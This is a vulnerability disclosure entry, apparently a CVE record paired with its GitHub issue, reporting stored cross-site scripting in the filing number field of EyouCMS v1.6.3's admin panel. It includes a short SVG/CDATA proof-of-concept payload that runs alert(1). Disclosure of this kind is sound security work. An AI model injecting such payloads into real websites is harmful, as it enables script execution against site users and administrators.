There is a storage type cross site scripting (XSS) vulnerability in the filing number of the Basic Information tab on the backend management page of EyouCMS v1.6.3
cpe:2.3:a:eyoucms:eyoucms:1.6.3:*:*:*:*:*:*:*
0DDC6EF0-7D79-4155-B984-0BA7756C05EC
OR
There is a storage type cross site scripting vulnerability in the filing number of the Basic Information tab on the backend management page of EyouCMS v1.6.3
poc:
<svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>

![微信截图_20230608160259](https://github.com/weng-xianhu/eyoucms/assets/59307191/b2441799-8750-4904-b449-fa9ad237955a)
![微信截图_20230608160240](https://github.com/weng-xianhu/eyoucms/assets/59307191/f0668949-573a-4fe9-ad81-31f7c3e1cda9)
![微信截图_20230608160311](https://github.com/weng-xianhu/eyoucms/assets/59307191/3516e863-6da6-4c53-ab2c-33b8a21b9ea1)

EyouCMS v1.6.3 has stored xss
This is a GitHub Issue
repo:eyoucms
owner:weng-xianhu
Title : EyouCMS v1.6.3 has stored xss
Issue date:

--- start body ---
There is a storage type cross site scripting vulnerability in the filing number of the Basic Information tab on the backend management page of EyouCMS v1.6.3
poc:
<svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>

![微信截图_20230608160259](https://github.com/weng-xianhu/eyoucms/assets/59307191/b2441799-8750-4904-b449-fa9ad237955a)
![微信截图_20230608160240](https://github.com/weng-xianhu/eyoucms/assets/59307191/f0668949-573a-4fe9-ad81-31f7c3e1cda9)
![微信截图_20230608160311](https://github.com/weng-xianhu/eyoucms/assets/59307191/3516e863-6da6-4c53-ab2c-33b8a21b9ea1)

--- end body ---

comments :
--- start comments ---

--- end comments ---